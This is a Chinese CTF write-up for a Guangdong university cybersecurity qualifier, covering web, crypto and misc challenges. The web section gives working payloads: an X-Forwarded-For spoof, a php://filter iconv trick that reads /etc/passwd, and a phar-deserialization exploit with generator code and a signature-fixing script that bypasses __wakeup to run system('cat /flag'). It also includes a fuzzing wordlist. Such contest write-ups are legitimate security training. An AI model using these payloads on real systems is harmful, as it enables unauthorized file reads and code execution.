第三届广东大学生网络安全线上晋级赛WirteUp

解题思路

Web

Mypdf

https://r0.haxors.org/posts?id=15

消失的flag

image.png
开局一个Access Denied,先不慌
image.png
不知道啥原因,放进去随波逐流梭一下
image.png
用本地XFF查看网页的时候,发现了页面内容有变化了
image.png
那就抓包,然后在BurpSuite中进行修改请求头

X-Forwarded-For: 127.0.0.1

image.png
然后结合题目描述

题目描述:
flag就隐藏再某个文件里面,看看能不能包含出来 。

文件包含的参数一般为 file,尝试GET传参 file
image.png
发现被过滤了
那么尝试Fuzz看看过滤了哪些
Fuzz字典

`
~
!
@
#
$
%
^
&
*
(
)
-
_
=
+
[
]
{
}
|
\
;
:
'
"
,
.
<
>
/
?
 
--
--+
/**/
&&
||
<>
!(<>)
and
or
xor
if
not
select
sleep
union
from
where
order
by
concat
group
benchmark
length
in
is
as
like
rlike
limit
offset
distinct
perpare
declare
database
schema
information
table
column
mid
left
right
substr
handler
ascii
set
char
hex
updatexml
extractvalue
regexp
floor
having
between
into
join
file
outfile
load_file
create
drop
convert
cast
show
user
pg_sleep
reverse
execute
open
read
first
case
end
then
iconv
greatest

发送到Intruder,添加 $ 符号
image.png
添加payload
image.png
发先 #号和 &符号回显正常,可以用 #号 和 & 符号
image.png
然后并没有什么用,思路错了,那我们继续回到正轨
那么我们尝试php伪协议读取源码,直接运用php://filter读取源码
首先尝试第一个payload:

?file=php://fil1ter/con1vert.ba1se64-e1ncode/resource=index.php

没有任何回显
image.png
其次尝试第二个payload:

?file=php://filter/convert.base64-encode/resource=index.php

发现有回显,叫我们不要do not hack!
image.png
那么显而易见,base64-encode关键词被过滤;
那么可以使用 convert.iconv.* 绕过https://blog.csdn.net/yuanxu8877/article/details/127607264
构造payload:

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/etc/passwd

发现成功 回显出了 /etc/passwd 文件
image.png
那么我们可以猜测一下flag文件在根目录

?file=php://filter//convert.iconv.SJIS*.UCS-4*/resource=/flag

image.png
image.png
成功读取到根目录的flag文件

unserialize_web

image.png
先看看有没有常见的备份文件或者robots.txt、www.zip、.git、.svn、.www.tar.gz这些
能发现有一个备份文件,www.tar.gz
image.png
那么访问 URL/www.tar.gz把备份文件下载下来
image.png
看见源码都在这里了,主要就是看upload.php和download.php
image.png
image.png
然后在CSDN能看到类似的题目,为:[NSSRound#4 SWPU]1zweb

  1. [NSSRound#4 SWPU]1zweb-CSDN博客
  2. phar反序列化+文件上传与例题讲解_文件上传加反序列化-CSDN博客
  3. NSS[羊城杯 2020]easycon+[NSSRound#4 SWPU]1zweb

然后打开题目的链接,开局一个上传表单,给我整不会了,不是说反序列化咩?
image.png
然后猜测,可能为需要文件上传加上反序列化的组合拳
然后搜索发现是phar反序列化—文件包含之反序列化(文件上传)

else{
    $extensions = array("gif", "jpg", "png");
    $temp = explode(".", $_FILES["file"]["name"]);
    $fileExtension = end($temp);
    $fileSizeCheck = $_FILES["file"]["size"];
    $isExtensionAllowed = in_array($fileExtension, $extensions) ? true : false;
    if ($fileSizeCheck && $isExtensionAllowed){
        $fileContent = file_get_contents($_FILES["file"]["tmp_name"]);
        $haltCompilerCheck = strpos($fileContent, "__HALT_COMPILER();");
        if(gettype($haltCompilerCheck) === "integer"){
            echo "phar";

从uoload.php的这段代码可以得知,只能上传gif、jpg、png的图片,并且会进行内容检查,文件中不可以包含有“__HALT_COMPILER();”的内容。
所以我们需要将等一下生成phar文件压缩成压缩包来绕过检查。

class File {
    public $val1;
    public $val2;
    public $val3;

    public function __construct() {
        $this->val1 = "val1";
        $this->val2 = "val2";
    }

    public function __destruct() {
        if ($this->val1 === "file" && $this->val2 === "exists") {
            if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
                eval($this->val3);
            } else {
                echo "Access Denied";
            }
        }
    }

    public function __access() {
        $Var = "Access Denied";
        echo $Var;
    }

    public function __wakeup() {
        $this->val1 = "exists";
        $this->val2 = "file";
        echo "文件存在";
    }
}

然后从download.php的这段代码可以得知是常规的反序列化。__destruct()魔术方法中有eval()函数可以利用来进行命令执行,存在命令执行漏洞。__destruct()方法里面的 if 语句会先判断变量 v a l 1 是否全等于 f i l e ,变量 val1是否全等于file,变量 val1是否全等于file,变量val2是否全等于exists。
然后到下面这段代码

if (preg_match('/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/', $this->val3)) {
                eval($this->val3);

这段代码是一个 PHP 中的条件语句,用于检查一个字符串是否匹配一个特定的模式。如果匹配成功,就会执行 eval 函数来执行字符串中的代码。

让我们来看看这个正则表达式

/^\s*system\s*\(\s*\'cat\s+\/[^;]*\'\s*\);\s*$/

/^ 和 $ 表示字符串的开始和结束,确保整个字符串都匹配模式。
\s* 匹配零个或多个空白字符。
system 匹配字符串中的 system。
( 和 ) 匹配左右括号。
\s* 匹配零个或多个空白字符。
'cat\s+/[^;]’ 匹配以单引号括起来的以 cat 开头的文件路径。其中:
’ 匹配单引号。
cat 匹配 cat 字符串。
\s+ 匹配一个或多个空白字符。
/ 匹配斜杠 /。
[^;]
匹配零个或多个非分号字符。
’ 匹配单引号。
\s* 匹配零个或多个空白字符。
; 匹配分号。
换句话说,这个正则表达式用于检查字符串是否以 system('cat 开头,后面紧跟着一个文件路径,然后以 '); 结尾。

所以我们可以构造$val3的值为

system('cat /flag');

来获取flag

如果 t h i s − > v a l 3 中的内容匹配这个模式,就会执行 e v a l ( this->val3 中的内容匹配这个模式,就会执行 eval( this>val3中的内容匹配这个模式,就会执行eval(this->val3);,这意味着 $this->val3 中的代码将被执行。这种做法存在安全风险,因为它允许任意代码执行,可能导致代码注入等安全漏洞。
将正则表达式可视化https://wangwl.net/static/projects/visualRegex/#
image.png
然后这个还要注意需要绕过wakeup()魔术方法:

public function __wakeup() {
        $this->val1 = "exists";
        $this->val2 = "file";
        echo "文件存在";
    }

它强制把 v a l 1 赋值为 e x i s t s , val1赋值为exists, val1赋值为existsval2赋值为file,会导致我们在后面触发destruct()魔术方法的时候,if 判断会失效
image.png
,所以我们需要绕过wakeup()
那就是需要用到CVE-2016-7124,它的影响范围是
PHP5 < 5.6.25
PHP7 < 7.0.10
而它的触发方式也很简单,那就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

所以接下来我们要构造一个phar文件,上传之后,让它执行反序列化,从而执行我们的代码
上传时候zip会绕过phar检测,但是phar伪协议会解压zip,在解压时候在file_get_contents()处我们的phar伪协议会触发反序列化,并且进行eval()的命令执行
phar文件生成代码:

<?php
ini_set("phar.readonly", "Off");
class File
{
    public $val1;
    public $val2;
    public $val3;
    public function __construct()
    {
        $this->val1 = "file";
        $this->val2 = "exists";
        $this->val3 = "system('cat /flag');";
    }
}
$a = new File();

$phar = new Phar('aa3.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');

$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

php phar.php

image.png
运行代码生成phar文件
image.png
可以通过010看到phar文件里面的内容是经过序列化的
image.png
但是上传然后访问的时候会报错

Warning: file_get_contents(phar://./upload/fuck.jpg): failed to open stream: phar "/var/www/html/upload/fuck.jpg" SHA1 signature could not be verified: broken signature in

这里有一个问题,我们在010处虽然可以修改phar文件绕过wakeup()魔术方法,但是这里存在签名认证,我们得修复签名
image.png
使用脚本修复,phar由data,data签名(20位),和签名格式(8位)组成

import gzip
from hashlib import sha1
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\aa3.phar', 'rb') as file:
    f = file.read()
s = f[:-28] # 获取要签名的数据
s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup
h = f[-8:] # 获取签名类型以及GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
#print(newf)
newf = gzip.compress(newf) #对Phar文件进行gzip压缩
with open(r'D:\\Downlaods_1\\ANfang_CTF\\Webbbbbb\\fuck3.png', 'wb') as file:#更改文件后缀
    file.write(newf) 

然后上传png图片
image.png
在download.php处进行POST传参,使用phar://协议伪来读取phar文件触发反序列化:

file=phar://./upload/fuck3.png

image.png
最后获得flag
image.png
flag为:
669b01045da0456ea2a2861ce57dd537

Crypto

根据给出的加密脚本,我们可以编写一个解密脚本来还原原始消息。由于 RSA 是非对称加密算法,需要使用私钥来解密消息。在这里,我们已经有了了私钥 d。
先分析一下这段加密的代码:

def encrypt(msg, N, e):
    msg = msg.encode()
    msg_length = len(msg)
    key = b'Life is like an ocean only strong-minded can reach the other shore'
    key = key[:msg_length]
    xor_key = strxor(msg, key)
    m = bytes_to_long(xor_key)
    c = pow(m, e, N)
    return c, key, N

这段代码是一个简单的 RSA 加密函数,它接受消息 msg、公钥 N 和 e 作为输入,并返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
让我们来逐步分解这个函数:

  1. msg = msg.encode(): 将输入的消息转换为字节串。
  2. msg_length = len(msg): 获取消息的长度。
  3. key = b’Life is like an ocean only strong-minded can reach the other shore’: 定义一个密钥,长度与消息相同。
  4. key = key[:msg_length]: 如果密钥的长度超过消息长度,就截取与消息相同长度的部分。
  5. xor_key = strxor(msg, key): 使用异或运算对消息和密钥进行加密。
  6. m = bytes_to_long(xor_key): 将加密后的消息转换为一个长整数。
  7. c = pow(m, e, N): 使用 RSA 加密算法对消息进行加密,其中 m 是消息的长整数表示,e 是公钥的指数,N 是公钥的模数。
  8. 最后返回加密后的消息 c、用于加密的密钥 key 和公钥 N。
    总的来说,这段代码使用了简单的对称加密方法(异或运算)对消息进行加密,然后使用 RSA 加密算法对加密后的消息进行进一步加密。

然后编写解密脚本

from Crypto.Util.number import getPrime, bytes_to_long
from Crypto.Util.strxor import strxor
from Crypto.PublicKey import RSA
from Crypto.Util.number import long_to_bytes

def generate_rsa_params(key_size):
    p = getPrime(key_size)
    q = getPrime(key_size)
    N = p * q
    phi = (p - 1) * (q - 1)
    e = 65537
    d = pow(e, -1, phi)
    return N, e, d

def encrypt(msg, N, e):
    msg = msg.encode()
    msg_length = len(msg)
    key = b'Life is like an ocean only strong-minded can reach the other shore'
    key = key[:msg_length]
    xor_key = strxor(msg, key)
    m = bytes_to_long(xor_key)
    c = pow(m, e, N)
    return c, key, N

def decrypt(ciphertext, N, d):
    # 使用 RSA 解密算法解密密文
    m = pow(ciphertext, d, N)
    # 将长整数转换为字节串
    xor_key = long_to_bytes(m)
    # 获取密钥的长度
    key_length = len(xor_key)
    # 原始密钥
    original_key = b'Life is like an ocean only strong-minded can reach the other shore'
    # 截取与密文长度相同的部分
    original_key = original_key[:key_length]
    # 使用异或运算解密密文得到原始消息
    original_msg = strxor(xor_key, original_key)
    # 返回解密后的消息
    return original_msg.decode()

# 已知条件
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
N = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487
ciphertext = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451

# 使用生成的私钥 d 解密密文
original_message = decrypt(ciphertext, N, d)
print("Decrypted message:", original_message)

这个脚本首先使用 RSA 解密算法 pow(ciphertext, d, N) 解密密文,然后将得到的长整数转换为字节串。接着,它使用异或运算来解密密文,得到原始消息。最后打印出解密后的原始消息。
image.png
flag为:

flag{1s_Pa33w0rd_1y2u22}

Misc

Misc1

将压缩包下载下来的时候
image.png
看见压缩包名类似MD5加密,使用MD5解密得到密码
https://www.cmd5.org/
image.png
得到密码解密,发现是png格式文件,但是打不开,使用010工具查看16进制发现文件头丢失,
image.png
image.png
补全文件头 89504E47
image.png
image.png
发现图片是二维码
使用qcr扫描发现没结果,使用微信扫一扫发现
image.png
最后使用花朵解密解出flag
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo
image.png

flag{rUsJyNdKhdKuS4VfO7}

Misc2

解压压缩包
获得一个PNG图片,用010打开,在文件尾部可以看见stegpy提示,猜测为 stegpy 隐写
image.png
那么直接用kali来操作

stegpy misc.png -p 

image.png
发现需要密码,不知道密码
那么继续看图片,发现是一道不定积分,答案是圆周率 π,联想到下面的数字六猜测可能是6位数字,那么 stegpy 隐写的密码可能是 3.1415
image.png
image.png
获得一串字符

3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone

先将前面的那部分十六进制解码一下
image.png
然后对其进行DES解密
CBC模式,key 和 偏移量都填上 luckyone
最终解密获得flag
image.png

flag{believe_you_are_lucky}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/756134.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

如何用Go语言进行Web应用的开发?附4个常用框架对比总结!

互联网诞生后的几十年里&#xff0c;互联网发生了爆炸性的发展&#xff0c;如今已席卷全球。因此&#xff0c;Web编程日益流行&#xff0c;Web编程的兴起不可忽视。 Go 是一门正在快速增长的编程语言&#xff0c;专为构建简单、快速且可靠的软件而设计。golang提供的net/http库…

CSS Flex弹性布局

一、传统布局与flex布局 1、传统布局 2、flex布局 二、flex布局原理 1、布局原理 2、flex布局体验 三、flex布局父项常见属性 1、常见的父项属性 2、flex-direction设置主轴的方向 3、justify-content 设置主轴上的子元素排列方式 4、flex-wrap 设置子元素是否换行 …

三英战吕布 | 第5集 | 温酒斩华雄 | 竖子不足与谋 | 三国演义 | 逐鹿群雄

&#x1f64b;大家好&#xff01;我是毛毛张! &#x1f308;个人首页&#xff1a; 神马都会亿点点的毛毛张 &#x1f4cc;这篇博客分享的是《三国演义》文学剧本第Ⅰ部分《群雄逐鹿》的第5️⃣集《三英战吕布》的经典语句和文学剧本全集台词 文章目录 1.经典语句2.文学剧本台…

从0到1搭建Java开发环境(内涵超详细教程、软件、提供网盘链接直接一步到位!!!!)

软件部分 需要的软件为下面两个&#xff1a; IDEANavicat 需要的可以自行拿&#xff08;安装教程和软件&#xff09;&#xff1a; 链接&#xff1a;https://pan.baidu.com/s/1y3RoMt0ZapyJsj3P0DPaVA?pwdxr4p 提取码&#xff1a;xr4p 环境部分 需要的环境为以下几个&…

【QT】按钮类控件 显示类控件

目录 按钮类控件 Push Button 设置按钮图标 按钮设置快捷键 设置鼠标点击按钮重复触发 Radio Button 单选框分组 Check Box 显示类控件 Label 常用属性 设置文本格式 给Label设置图片 Label标签设置边框 设置文本对齐方式 设置文本自动换行 设置文本缩进 设置…

综合评价类模型——突变级数法

含义 首先&#xff1a;对评价目标进行多层次矛盾分解其次&#xff1a;利用突变理论和模糊数学相结合产生突变模糊隶属函数再次&#xff1a;由归一公式进行综合量化运算最终&#xff1a;归一为一个参数&#xff0c;即求出总的隶属函数&#xff0c;从而对评价目标进行排序分析特点…

Python数据分析-共享单车租赁预测(支持向量机分析预测)

一、研究背景 共享单车作为一种绿色、便捷的出行方式&#xff0c;近年来在全球范围内迅速发展。共享单车不仅减少了城市交通拥堵和污染&#xff0c;还为居民提供了健康的出行选择。随着城市化进程的加快和环保意识的增强&#xff0c;共享单车已成为许多城市居民日常通勤和休闲…

大火的AIGC是什么?能用到工作中哪些地方?

前言 一.AIGC是什么&#xff1f; AIGC&#xff08;即Artificial Intelligence Generated Content&#xff09;&#xff0c;中文译为人工智能生成内容。简单来说&#xff0c;就是以前本来需要人类用思考和创造力才能完成的工作&#xff0c;现在可以利用人工智能技术来替代我们…

LLM意图识别器实践

利用 Ollama 和 LangChain 强化条件判断语句的智能提示分类 ❝ 本文译自Supercharging If-Statements With Prompt Classification Using Ollama and LangChain一文&#xff0c;以Lumos工具为例&#xff0c;讲解了博主在工程实践中&#xff0c;如何基于LangChain框架和本地LLM优…

011、MongoDB副本集数据同步机制深度解析

目录 MongoDB副本集数据同步机制深度解析 1. 副本集架构概述 1.1 基本组成 1.2 节点角色 2. 数据同步过程详解 2.1 初始同步 2.2 持续复制 2.3 Oplog详解 3. 数据一致性与可用性 3.1 写关注(Write Concern) 3.2 读偏好(Read Preference) 3.3 因果一致性会话 4. 高…

SuperMap iDesktop

SuperMap iDesktop 介绍 SuperMap iDesktop是一款由超图公司推出的企业级插件式桌面GIS软件&#xff0c;它通过SuperMap iObjects .NET、桌面核心库和.NET Framework 4.0构建&#xff0c;集成了地图制作、空间分析、数据编辑、三维分析等多种功能于一体&#xff0c;为用户提供…

驾校预约小程序系统的设计

管理员账户功能包括&#xff1a;系统首页&#xff0c;个人中心&#xff0c;学员管理&#xff0c;教练管理&#xff0c;驾校信息管理&#xff0c;驾校车辆管理&#xff0c;教练预约管理&#xff0c;考试信息管理 微信端账号功能包括&#xff1a;系统首页&#xff0c;驾校信息&am…

虚拟化 之八 详解构造带有 jailhouse 的 openEuler 发行版(ARM 飞腾派)

概述 本文将探索学习通过移植适配 yocto-meta-openeuler 这个 Layer 进而使用 oebuild 直接构建一个适用于飞腾派开发板的带有 jailhouse 的 openEuler 发行版。并且通过移植一个独立的 jailhouse 的 Recipe 文件进而不依赖于 openEuler 官方的 MCS 这个框架(该框架目前本身也…

期末考试后,老师如何私发成绩?

期末考试的钟声一响&#xff0c;学生们如释重负&#xff0c;而老师们的工作却才刚刚开始。成绩的整理、再到成绩单发放&#xff0c;每一步都格外繁重。传统的成绩单发放方式&#xff0c;需要老师一个个私信给学生家长&#xff0c;耗时耗力&#xff0c;而且容易出错。在忙碌的期…

数字信号处理实验一(离散信号及离散系统的MATLAB编程实现)

实验要求&#xff1a; 离散信号及离散系统的MATLAB编程实现&#xff08;2学时&#xff09; 要求&#xff1a; 编写一程序&#xff0c;输出一定长度&#xff08;点数&#xff09;&#xff0c;具有一定幅度、&#xff08;角&#xff09;频率和初始相位的实&#xff08;或复&…

第四节:如何使用注解方式从IOC中获取bean(自学Spring boot 3.x的第一天)

大家好&#xff0c;我是网创有方&#xff0c;上一节学习了如何理解Spring的两个特性IOC和AOP&#xff0c;这一节来基于上节的内容进行一个简单实践。这节要实现的效果是通过IOC容器获取到Bean&#xff0c;并且将Bean的属性显示打印出来。 第一步&#xff1a;创建pojo实体类stu…

FreeSWITCH 1.10.10 简单图形化界面24-呼入呼出编码

FreeSWITCH 1.10.10 简单图形化界面24-呼入呼出编码 FreeSWITCH GUI界面预览00、安装FreeSWITCH GUI先看使用手册1、语音接听还是视频接听2、排查 FreeSWITCH GUI界面预览 http://myfs.f3322.net:8020/ 用户名&#xff1a;admin&#xff0c;密码&#xff1a;admin FreeSWITCH…

讨论stl链表

讨论链表 list迭代器失效list的模拟实现创建结点类链表迭代器完成实现代码 list与vector 链表是一个序列容器&#xff0c;在任意位置都可以用常数时间插入或者删除&#xff0c;并且可以在两个方向进行迭代。 list迭代器失效 迭代器失效指迭代器所指向的结点无效&#xff0c;即该…

数据结构7---图

一、定义 对于图的定义&#xff0c;我们需要明确几个注意的地方:一线性表中我们把数据元素叫元素&#xff0c;树中叫结点&#xff0c;在途中数据元素我们则称之为顶点(Vertex)。 对于图的定义&#xff0c;我们需要明确几个注意的地方: 线性表中我们把数据元素叫元素&#xf…

通过systemctl启停tomcat

目录 目的.service配置文件的结构介绍实验步骤1. 安装java2. 二进制安装tomcat3. 编写/usr/systemd/system/tomcat.service文件4. 测试启动关闭 目的 通过二进制安装的tomcat&#xff0c;只能通过tomcat文件目录下的.sh脚本进行启停。 而我们一般使用的服务&#xff0c;是通过…